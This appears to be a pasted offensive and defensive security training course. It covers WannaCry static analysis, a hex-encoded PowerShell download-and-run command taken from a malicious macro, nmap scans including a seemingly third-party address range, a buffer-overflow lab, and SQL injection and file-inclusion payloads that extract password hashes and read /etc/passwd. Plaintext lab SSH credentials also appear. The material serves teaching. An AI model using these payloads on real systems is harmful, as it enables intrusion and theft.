joemccray

GHMDSOTRMF

Aug 5th, 2019
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  1. ##############################################################################
  2. # Offensive/Defensive Cyber (God help me do something else other than RMF #
  3. # By Joe McCray #
  4. #############################################################################
  5.  
  6.  
  7.  
  8.  
  9.  
  10. ###########################
  11. # Where can I learn Linux #
  12. ###########################
  13. - Here is a good set of slides for getting started with Linux:
  14. http://www.slideshare.net/olafusimichael/linux-training-24086319
  15.  
  16.  
  17. - Here is a good tutorial that you should complete before doing the labs below:
  18. http://linuxsurvival.com/linux-tutorial-introduction/
  19.  
  20.  
  21. - I prefer to use Putty to SSH into my Linux host.
  22. - You can download Putty from here:
  23. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  24.  
  25. Here is the information to put into putty
  26.  
  27. Host Name: 107.191.39.106
  28. protocol: ssh
  29. port: 22
  30. username: godhelpme
  31. password: iHateRMF!#
  32.  
  33.  
  34.  
  35.  
  36. ---------------------------Type This-----------------------------------
  37.  
  38. cd ~/static_analysis
  39.  
  40. wget http://45.63.104.73/wannacry.zip
  41.  
  42. unzip wannacry.zip
  43. infected
  44.  
  45. file wannacry.exe
  46.  
  47. cp wannacry.exe malware.pdf
  48.  
  49. file malware.pdf
  50.  
  51. hexdump -n 2 -C wannacry.exe
  52.  
  53. ----------------------------------------------------------------------
  54.  
  55.  
  56. ***What is '4d 5a' or 'MZ'***
  57. -------------------------Paste this URL into Firefox-----------------------------------
  58. http://www.garykessler.net/library/file_sigs.html
  59. ---------------------------------------------------------------------------------------
  60.  
  61.  
  62.  
  63. ---------------------------Type This-----------------------------------
  64. objdump -x wannacry.exe
  65.  
  66. strings wannacry.exe
  67.  
  68. strings wannacry.exe | grep -i dll
  69.  
  70. strings wannacry.exe | grep -i library
  71.  
  72. strings wannacry.exe | grep -i reg
  73.  
  74. strings wannacry.exe | grep -i key
  75.  
  76. strings wannacry.exe | grep -i rsa
  77.  
  78. strings wannacry.exe | grep -i open
  79.  
  80. strings wannacry.exe | grep -i get
  81.  
  82. strings wannacry.exe | grep -i mutex
  83.  
  84. strings wannacry.exe | grep -i irc
  85.  
  86. strings wannacry.exe | grep -i join
  87.  
  88. strings wannacry.exe | grep -i admin
  89.  
  90. strings wannacry.exe | grep -i list
  91. ----------------------------------------------------------------------
  92.  
  93.  
  94.  
  95.  
  96.  
  97. ---------------------------Type This-----------------------------------
  98. pe info wannacry.exe
  99. pe check wannacry.exe
  100. pe dump --section text wannacry.exe
  101. pe dump --section data wannacry.exe
  102. pe dump --section rsrc wannacry.exe
  103. pe dump --section reloc wannacry.exe
  104. strings rdata | less
  105. strings rsrc | less
  106. strings text | less
  107. ----------------------------------------------------------------------
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  117.  
  118. Quick Google search for "wannacry ransomeware analysis"
  119.  
  120.  
  121. Reference
  122. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  123.  
  124. - Yara Rule -
  125.  
  126.  
  127. Strings:
  128. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  129. $s2 = “Wanna Decryptor” wide ascii nocase
  130. $s3 = “.wcry” wide ascii nocase
  131. $s4 = “WANNACRY” wide ascii nocase
  132. $s5 = “WANACRY!” wide ascii nocase
  133. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141. Ok, let's look for the individual strings
  142.  
  143.  
  144. ---------------------------Type This-----------------------------------
  145. strings wannacry.exe | grep -i ooops
  146.  
  147. strings wannacry.exe | grep -i wanna
  148.  
  149. strings wannacry.exe | grep -i wcry
  150.  
  151. strings wannacry.exe | grep -i wannacry
  152.  
  153. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  154. ----------------------------------------------------------------------
  155.  
  156.  
  157.  
  158.  
  159.  
  160. ####################################
  161. # Tired of GREP - let's try Python #
  162. ####################################
  163. Decided to make my own script for this kind of stuff in the future. I
  164.  
  165. Reference1:
  166. http://45.63.104.73/analyse_malware.py
  167.  
  168. This is a really good script for the basics of static analysis
  169.  
  170. Reference:
  171. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  172.  
  173.  
  174. This is really good for showing some good signatures to add to the Python script
  175.  
  176.  
  177. Here is my own script using the signatures (started this yesterday, but still needs work):
  178. https://pastebin.com/guxzCBmP
  179.  
  180.  
  181.  
  182. ---------------------------Type This-----------------------------------
  183. wget https://pastebin.com/raw/guxzCBmP
  184.  
  185.  
  186. mv guxzCBmP am.py
  187.  
  188.  
  189. nano am.py
  190.  
  191. python2.7 am.py wannacry.exe
  192. ----------------------------------------------------------------------
  193.  
  194.  
  195.  
  196. ##############
  197. # Yara Ninja #
  198. ##############
  199.  
  200. Reference:
  201. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  202.  
  203. ----------------------------------------------------------------------------
  204. rule wannacry_1 : ransom
  205. {
  206. meta:
  207. author = "Joshua Cannell"
  208. description = "WannaCry Ransomware strings"
  209. weight = 100
  210. date = "2017-05-12"
  211.  
  212. strings:
  213. $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
  214. $s2 = "Wanna Decryptor" wide ascii nocase
  215. $s3 = ".wcry" wide ascii nocase
  216. $s4 = "WANNACRY" wide ascii nocase
  217. $s5 = "WANACRY!" wide ascii nocase
  218. $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
  219.  
  220. condition:
  221. any of them
  222. }
  223.  
  224. ----------------------------------------------------------------------------
  225. rule wannacry_2{
  226. meta:
  227. author = "Harold Ogden"
  228. description = "WannaCry Ransomware Strings"
  229. date = "2017-05-12"
  230. weight = 100
  231.  
  232. strings:
  233. $string1 = "msg/m_bulgarian.wnry"
  234. $string2 = "msg/m_chinese (simplified).wnry"
  235. $string3 = "msg/m_chinese (traditional).wnry"
  236. $string4 = "msg/m_croatian.wnry"
  237. $string5 = "msg/m_czech.wnry"
  238. $string6 = "msg/m_danish.wnry"
  239. $string7 = "msg/m_dutch.wnry"
  240. $string8 = "msg/m_english.wnry"
  241. $string9 = "msg/m_filipino.wnry"
  242. $string10 = "msg/m_finnish.wnry"
  243. $string11 = "msg/m_french.wnry"
  244. $string12 = "msg/m_german.wnry"
  245. $string13 = "msg/m_greek.wnry"
  246. $string14 = "msg/m_indonesian.wnry"
  247. $string15 = "msg/m_italian.wnry"
  248. $string16 = "msg/m_japanese.wnry"
  249. $string17 = "msg/m_korean.wnry"
  250. $string18 = "msg/m_latvian.wnry"
  251. $string19 = "msg/m_norwegian.wnry"
  252. $string20 = "msg/m_polish.wnry"
  253. $string21 = "msg/m_portuguese.wnry"
  254. $string22 = "msg/m_romanian.wnry"
  255. $string23 = "msg/m_russian.wnry"
  256. $string24 = "msg/m_slovak.wnry"
  257. $string25 = "msg/m_spanish.wnry"
  258. $string26 = "msg/m_swedish.wnry"
  259. $string27 = "msg/m_turkish.wnry"
  260. $string28 = "msg/m_vietnamese.wnry"
  261.  
  262.  
  263. condition:
  264. any of ($string*)
  265. }
  266. ----------------------------------------------------------------------------
  267.  
  268.  
  269.  
  270.  
  271.  
  272.  
  273.  
  274. #####################################################
  275. # Analyzing Macro Embedded Malware #
  276. #####################################################
  277. ---------------------------Type This-----------------------------------
  278. mkdir ~/oledump
  279.  
  280. cd ~/oledump
  281.  
  282. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  283.  
  284. unzip oledump_V0_0_22.zip
  285.  
  286. wget http://45.63.104.73/064016.zip
  287.  
  288. unzip 064016.zip
  289. infected
  290.  
  291. python oledump.py 064016.doc
  292.  
  293. python oledump.py 064016.doc -s A4 -v
  294. -----------------------------------------------------------------------
  295.  
  296.  
  297.  
  298. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  299. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  300.  
  301. ---------------------------Type This-----------------------------------
  302. python oledump.py 064016.doc -s A5 -v
  303. -----------------------------------------------------------------------
  304.  
  305. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  306.  
  307. ---------------------------Type This-----------------------------------
  308. python oledump.py 064016.doc -s A3 -v
  309.  
  310. - Look for "GVhkjbjv" and you should see:
  311.  
  312. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  313.  
  314. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  315. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  316. -----------------------------------------------------------------------
  317.  
  318.  
  319.  
  320. Step 1: Download Nmap
  321. --------------------
  322. Windows: https://nmap.org/dist/nmap-7.70-setup.exe
  323. Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
  324.  
  325. Linux:
  326. --- Fedora/CentOS/RHEL: sudo yum install -y nmap
  327. --- Ubuntu/Mint/Debian: sudo apt-get install -y nmap
  328.  
  329.  
  330.  
  331. ########################
  332. # Scanning Methodology #
  333. ########################
  334.  
  335. - Ping Sweep
  336. What's alive?
  337. ------------
  338. Note: On windows you won't need to use the word "sudo" in front of the command below:
  339.  
  340. ---------------------------On Linux or Mac OS X type This-----------------------------------
  341. sudo nmap -sP 157.166.226.*
  342.  
  343. ---------------------------or on Windows type:---------------------------------------------
  344. c:\nmap -sP 157.166.226.*
  345.  
  346. --------------------------------------------------------------------------------------------
  347.  
  348.  
  349.  
  350. -if -SP yields no results try:
  351. Note: On windows you won't need to use the word "sudo" in front of the command below:
  352. ---------------------------On Linux or Mac OS X type This-----------------------------------
  353. sudo nmap -sL 157.166.226.*
  354.  
  355. ---------------------------or on Windows type:---------------------------------------------
  356. c:\nmap -sL 157.166.226.*
  357.  
  358. ------------------------------------------------------------------------------------------
  359.  
  360.  
  361.  
  362. -Look for hostnames:
  363. Note: On windows you won't need to use the word "sudo" in front of the command below:
  364. ---------------------------On Linux or Mac OS X type This-----------------------------------
  365. sudo nmap -sL 157.166.226.* | grep com
  366.  
  367. ---------------------------or on Windows type:---------------------------------------------
  368. c:\nmap -sP 157.166.226.* | findstr "cnn"
  369.  
  370. -------------------------------------------------------------------------------------------
  371.  
  372.  
  373.  
  374. - Port Scan
  375. What's where?
  376. ------------
  377. Note: On windows you won't need to use the word "sudo" in front of the command below:
  378. ---------------------------On Linux or Mac OS X type This-----------------------------------
  379. sudo nmap -sS 162.243.126.247
  380.  
  381. ---------------------------or on Windows type:----------------------------------------------
  382. c:\nmap -sS 162.243.126.247
  383.  
  384. --------------------------------------------------------------------------------------------
  385.  
  386.  
  387.  
  388. - Bannergrab/Version Query
  389. What versions of software are running
  390. -------------------------------------
  391. Note: On windows you won't need to use the word "sudo" in front of the command below:
  392. ---------------------------On Linux or Mac OS X type This-----------------------------------
  393. sudo nmap -sV 162.243.126.247
  394.  
  395. ---------------------------or on Windows type:---------------------------------------------
  396. c:\nmap -sV 162.243.126.247
  397. -------------------------------------------------------------------------------------------
  398.  
  399.  
  400.  
  401. Let's dig into this a little bit more:
  402. -------------------------------------
  403. Note: On windows you won't need to use the word "sudo" in front of the command below:
  404. ---------------------------On Linux or Mac OS X type This-----------------------------------
  405. sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
  406.  
  407. ---------------------------or on Windows type:---------------------------------------------
  408. c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
  409. -------------------------------------------------------------------------------------------
  410.  
  411.  
  412.  
  413. - Vulnerability Research
  414. Lookup the banner versions for public exploits
  415. ----------------------------------------------
  416. http://exploit-db.com
  417. http://securityfocus.com/bid
  418. https://packetstormsecurity.com/files/tags/exploit/
  419.  
  420. ---------------------------------------------------------------------------------------------------------------------------------
  421.  
  422.  
  423.  
  424. Network Penetration Testing Process (known vulnerabilities)
  425. -----------------------------------------------------------
  426.  
  427.  
  428. 1. Ping Sweep:
  429. The purpose of this step is to identify live hosts
  430.  
  431. nmap -sP <ip-address/ip-range>
  432.  
  433.  
  434. 2. Port Scan
  435. Identify running services. We use the running services to map the network topology.
  436.  
  437. nmap -sS <ip-address/ip-range>
  438.  
  439.  
  440. 3. Bannergrab
  441. Identify the version of version of software running on each port
  442.  
  443. nmap -sV <ip-address/ip-range>
  444.  
  445.  
  446.  
  447. 4. Vulnerability Research
  448. Use the software version number to research and determine if it is out of date (vulnerable).
  449.  
  450. exploit-db.com/search
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459.  
  460. Skill Level 1. Run the scanners
  461. -------------------------------
  462. Nexpose
  463. Qualys
  464. Retina
  465. Nessus known vulnerabilities
  466. OpenVas
  467. Foundscan
  468. GFI LanGuard
  469. NCircle
  470.  
  471.  
  472. Skill Level 2. Manual vulnerability validation (known vulnerabilities)
  473. -----------------------------------------------------------------------
  474.  
  475. windows -> systeminfo
  476. Linux-> dpkg -l
  477. rpm -qa
  478.  
  479.  
  480.  
  481.  
  482.  
  483.  
  484.  
  485. #####################################
  486. # Quick Stack Based Buffer Overflow #
  487. #####################################
  488.  
  489. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  490. http://45.63.104.73/ExploitLab.zip
  491.  
  492.  
  493. - Extract the ExploitLab.zip file to your Desktop
  494.  
  495. - Go to folder on your desktop ExploitLab\2-VulnServer, and run vulnserv.exe
  496.  
  497.  
  498.  
  499. - Open a new command prompt and type:
  500.  
  501. ---------------------------Type This-----------------------------------
  502. nc localhost 9999
  503. --------------------------------------------------------------------------
  504.  
  505. If you don't have netcat you can download it from here:
  506. http://45.63.104.73/nc-password-is-netcat.zip
  507.  
  508. The file nc.zip is password protected (password is 'password'), you'll have to exclude it from your anti-virus and either add it to your PATH, or copy it to your c:\Windows\System32\ folder.
  509.  
  510.  
  511. - In the new command prompt window where you ran nc type:
  512. HELP
  513.  
  514. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  515. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  516.  
  517. - Now double-click on 1-simplefuzzer.py
  518. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  519.  
  520.  
  521. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  522.  
  523. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  524.  
  525. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  526.  
  527. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  528.  
  529. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  530.  
  531. - Calculate the distance to EIP by running script 3-3000chars.py
  532. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  533.  
  534. 4-count-chars-to-EIP.py
  535. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  536. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  537.  
  538. 5-2006char-eip-check.py
  539. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  540.  
  541. 6-jmp-esp.py
  542. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  543.  
  544. 7-first-exploit
  545. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  546.  
  547. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  548.  
  549.  
  550. ------------------------------
  551.  
  552.  
  553.  
  554. Skill Level 3. Identify unknown vulnerabilities
  555. -----------------------------------------------
  556.  
  557. - App Type
  558. ------------
  559. Stand Alone Client Server Web App
  560.  
  561. ***(vulnerserver.exe)***
  562.  
  563.  
  564. - Input TYpe
  565. -------------
  566. FIle logical network port Browser
  567. Keyboard
  568. Mouse
  569.  
  570.  
  571.  
  572. ***(9999)***
  573.  
  574.  
  575. - Map & Fuzz app entry points:
  576. ------------------------------
  577. - Commands ***(commands)***
  578. - Methods
  579. - Verbs
  580. - functions
  581. - subroutines
  582. - controllers
  583.  
  584.  
  585. - Isolate the crash
  586. -------------------
  587. App seems to reliably crash at TRUN 2100
  588.  
  589.  
  590. - Calculate the distance to EIP
  591. -------------------------------
  592. Distance to EIP is 2006
  593.  
  594. We found that EIP was populated with the value: 396F4338
  595. 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
  596.  
  597. An online tool that we can use for this is:
  598. https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
  599.  
  600.  
  601.  
  602. - Redirect Program Execution
  603. ----------------------------
  604. A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
  605. We learned that we control EAX and ESP in script 2.
  606.  
  607.  
  608.  
  609.  
  610.  
  611. - Implement Shellcode
  612. ---------------------
  613. There are only 2 things that can go wrong with shellcode:
  614. - Not enough space
  615. - Bad characters
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622. #########################################
  623. # FreeFloat FTP Server Exploit Analysis #
  624. #########################################
  625.  
  626.  
  627.  
  628. Analyze the following exploit code:
  629. https://www.exploit-db.com/exploits/15689/
  630.  
  631. 1. What is the target platform that this exploit works against?
  632. 2. What is the variable name for the distance to EIP?
  633. 3. What is the actual distance to EIP in bytes?
  634. 4. Describe what is happening in the variable ‘junk2’
  635.  
  636.  
  637.  
  638.  
  639. Analysis of the training walk-through based on EID: 15689:
  640. http://45.63.104.73/ff.zip
  641.  
  642.  
  643.  
  644.  
  645. ff1.py
  646. 1. What does the sys module do?
  647. 2. What is sys.argv[1] and sys.argv[2]?
  648. 3. What application entry point is being attacked in this script?
  649.  
  650.  
  651.  
  652. ff2.py
  653. 1. Explain what is happening in lines 18 - 20 doing.
  654. 2. What is pattern_create.rb doing and where can I find it?
  655. 3. Why can’t I just double click the file to run this script?
  656.  
  657.  
  658.  
  659. ff3.py
  660. 1. Explain what is happening in lines 17 - to 25?
  661. 2. Explain what is happening in lines 30 - to 32?
  662. 3. Why is everything below line 35 commented out?
  663.  
  664.  
  665.  
  666. ff4.py
  667. 1. Explain what is happening in lines 13 to 15.
  668. 2. Explain what is happening in line 19.
  669. 3. What is the total length of buff?
  670.  
  671.  
  672.  
  673. ff5.py
  674. 1. Explain what is happening in line 15.
  675. 2. What is struct.pack?
  676. 3. How big is the shellcode in this script?
  677.  
  678.  
  679.  
  680. ff6.py
  681. 1. What is the distance to EIP?
  682. 2. How big is the shellcode in this script?
  683. 3. What is the total byte length of the data being sent to this app?
  684.  
  685.  
  686.  
  687.  
  688. ff7.py
  689. 1. What is a tuple in python?
  690. 2. How big is the shellcode in this script?
  691. 3. Did your app crash in from this script?
  692.  
  693.  
  694.  
  695.  
  696. ff8.py
  697. 1. How big is the shellcode in this script?
  698. 2. What is try/except in python?
  699. 3. What is socket.SOCK_STREAM in Python?
  700.  
  701.  
  702.  
  703. ff9.py
  704. 1. What is going on in lines 19 and 20?
  705. 2. What is the length of the NOPs?
  706. 3. From what DLL did the address of the JMP ESP come from?
  707.  
  708.  
  709.  
  710.  
  711. ff010.py
  712. 1. What is going on in lines 18 - 20?
  713. 2. What is going on in lines 29 - 32?
  714. 3. How would a stack adjustment help this script?
  715.  
  716. ##################################
  717. # Basic: Web Application Testing #
  718. ##################################
  719.  
  720. Most people are going to tell you reference the OWASP Testing guide.
  721. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  722.  
  723. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  724.  
  725.  
  726. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  727.  
  728. 1. Does the website talk to a DB?
  729. - Look for parameter passing (ex: site.com/page.php?id=4)
  730. - If yes - try SQL Injection
  731.  
  732. 2. Can I or someone else see what I type?
  733. - If yes - try XSS
  734.  
  735. 3. Does the page reference a file?
  736. - If yes - try LFI/RFI
  737.  
  738. Let's start with some manual testing against 45.63.104.73
  739.  
  740.  
  741. #######################
  742. # Attacking PHP/MySQL #
  743. #######################
  744.  
  745. Go to LAMP Target homepage
  746. http://45.63.104.73/
  747.  
  748.  
  749.  
  750. Clicking on the Acer Link:
  751. http://45.63.104.73/acre2.php?lap=acer
  752.  
  753. - Found parameter passing (answer yes to question 1)
  754. - Insert ' to test for SQLI
  755.  
  756. ---------------------------Type This-----------------------------------
  757.  
  758. http://45.63.104.73/acre2.php?lap=acer'
  759.  
  760. -----------------------------------------------------------------------
  761.  
  762. Page returns the following error:
  763. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
  764.  
  765.  
  766.  
  767. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  768. We do this using the ORDER BY
  769.  
  770. ---------------------------Type This-----------------------------------
  771.  
  772. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  773. -----------------------------------------------------------------------
  774.  
  775. Page returns the following error:
  776. Unknown column '100' in 'order clause'
  777.  
  778.  
  779. ---------------------------Type This-----------------------------------
  780.  
  781. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  782. -----------------------------------------------------------------------
  783.  
  784. Page returns the following error:
  785. Unknown column '50' in 'order clause'
  786.  
  787.  
  788. ---------------------------Type This-----------------------------------
  789.  
  790. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  791. -----------------------------------------------------------------------
  792.  
  793. Page returns the following error:
  794. Unknown column '25' in 'order clause'
  795.  
  796.  
  797. ---------------------------Type This-----------------------------------
  798.  
  799. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  800. -----------------------------------------------------------------------
  801.  
  802. Page returns the following error:
  803. Unknown column '12' in 'order clause'
  804.  
  805.  
  806. ---------------------------Type This-----------------------------------
  807.  
  808. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  809. -----------------------------------------------------------------------
  810.  
  811. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  812.  
  813.  
  814.  
  815. Now we build out the union all select statement with the correct number of columns
  816.  
  817. Reference:
  818. http://www.techonthenet.com/sql/union.php
  819.  
  820.  
  821. ---------------------------Type This-----------------------------------
  822.  
  823. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  824. -----------------------------------------------------------------------
  825.  
  826.  
  827.  
  828. Now we negate the parameter value 'acer' by turning into the word 'null':
  829. ---------------------------Type This-----------------------------------
  830.  
  831. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  832. -----------------------------------------------------------------------
  833.  
  834. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  835.  
  836.  
  837. Use a cheat sheet for syntax:
  838. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  839.  
  840. ---------------------------Type This-----------------------------------
  841.  
  842. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  843.  
  844. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  845.  
  846. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  847.  
  848. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  849.  
  850.  
  851. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  852.  
  853. -----------------------------------------------------------------------
  854.  
  855.  
  856.  
  857. ########################
  858. # Question I get a lot #
  859. ########################
  860. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  861.  
  862. Here is a good reference for it:
  863. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  864.  
  865. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  866.  
  867.  
  868.  
  869.  
  870. #########################
  871. # File Handling Attacks #
  872. #########################
  873.  
  874. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  875.  
  876. ---------------------------Type This-----------------------------------
  877.  
  878. http://45.63.104.73/showfile.php?filename=about.txt
  879.  
  880. -----------------------------------------------------------------------
  881.  
  882.  
  883. See if you can read files on the file system:
  884. ---------------------------Type This-----------------------------------
  885.  
  886. http://45.63.104.73/showfile.php?filename=/etc/passwd
  887. -----------------------------------------------------------------------
  888.  
  889. We call this attack a Local File Include or LFI.
  890.  
  891. Now let's find some text out on the internet somewhere:
  892. https://www.gnu.org/software/hello/manual/hello.txt
  893.  
  894.  
  895. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  896.  
  897. ---------------------------Type This-----------------------------------
  898.  
  899. http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
  900. -----------------------------------------------------------------------
  901.  
  902. #########################################################################################
  903. # SQL Injection #
  904. # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
  905. #########################################################################################
  906.  
  907.  
  908. - Another quick way to test for SQLI is to remove the paramter value
  909.  
  910.  
  911. #############################
  912. # Error-Based SQL Injection #
  913. #############################
  914. ---------------------------Type This-----------------------------------
  915.  
  916. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  917. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  918. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  919. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  920. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  921. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  922. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  923. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  924. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  925.  
  926. -----------------------------------------------------------------------
  927.  
  928.  
  929.  
  930. #############################
  931. # Union-Based SQL Injection #
  932. #############################
  933.  
  934. ---------------------------Type This-----------------------------------
  935.  
  936. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  937. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  938. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  939. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  940. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  941. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  942. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  943. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  944. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  945. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  946. -----------------------------------------------------------------------
  947.  
  948. We are using a union select statement because we are joining the developer's query with one of our own.
  949. Reference:
  950. http://www.techonthenet.com/sql/union.php
  951. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  952. It removes duplicate rows between the various SELECT statements.
  953.  
  954. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  955.  
  956. ---------------------------Type This-----------------------------------
  957.  
  958. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  959. -----------------------------------------------------------------------
  960.  
  961. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  962.  
  963. ---------------------------Type This-----------------------------------
  964.  
  965. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  966. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  967. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  968. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  969.  
  970. -----------------------------------------------------------------------
  971.  
  972.  
  973.  
  974.  
  975. - Another way is to see if you can get the backend to perform an arithmetic function
  976.  
  977. ---------------------------Type This-----------------------------------
  978.  
  979. http://45.77.162.239/bookdetail.aspx?id=(2)
  980. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  981. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  982.  
  983.  
  984.  
  985. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
